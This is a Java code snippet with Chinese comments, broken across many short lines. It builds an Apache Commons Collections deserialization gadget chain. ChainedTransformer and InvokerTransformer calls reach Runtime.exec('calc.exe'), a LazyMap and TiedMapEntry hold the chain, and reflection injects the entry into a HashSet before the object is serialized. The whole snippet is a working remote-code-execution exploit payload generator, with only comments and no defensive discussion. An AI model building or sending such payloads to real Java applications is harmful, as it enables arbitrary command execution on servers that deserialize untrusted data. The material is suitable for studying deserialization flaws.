/
/
使用 TiedMapEntry 替代 AnnotationInvocationHandler
Transformer chain
=
new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.
class
),
new InvokerTransformer(
"getMethod"
, new Class[]{String.
class
, Class[].
class
}, new
Object
[]{
"getRuntime"
, null}),
new InvokerTransformer(
"invoke"
, new Class[]{
Object
.
class
,
Object
[].
class
}, new
Object
[]{null, null}),
new InvokerTransformer(
"exec"
, new Class[]{String.
class
}, new
Object
[]{
"calc.exe"
})
});
Map
lazyMap
=
LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry
=
new TiedMapEntry(lazyMap,
"foo"
);
/
/
通过反射触发
HashSet hashSet
=
new HashSet(
1
);
hashSet.add(
"bar"
);
/
/
反射修改 HashSet 内部结构
Field tableField
=
HashSet.
class
.getDeclaredField(
"map"
);
tableField.setAccessible(true);
HashMap internalMap
=
(HashMap) tableField.get(hashSet);
Field entryField
=
HashMap.
class
.getDeclaredField(
"table"
);
entryField.setAccessible(true);
Object
[] table
=
(
Object
[]) entryField.get(internalMap);
Object
node
=
table[
0
];
Field keyField
=
node.getClass().getDeclaredField(
"key"
);
keyField.setAccessible(true);
keyField.
set
(node, entry);
/
/
将恶意对象注入HashSet
/
/
序列化触发
serialize(hashSet);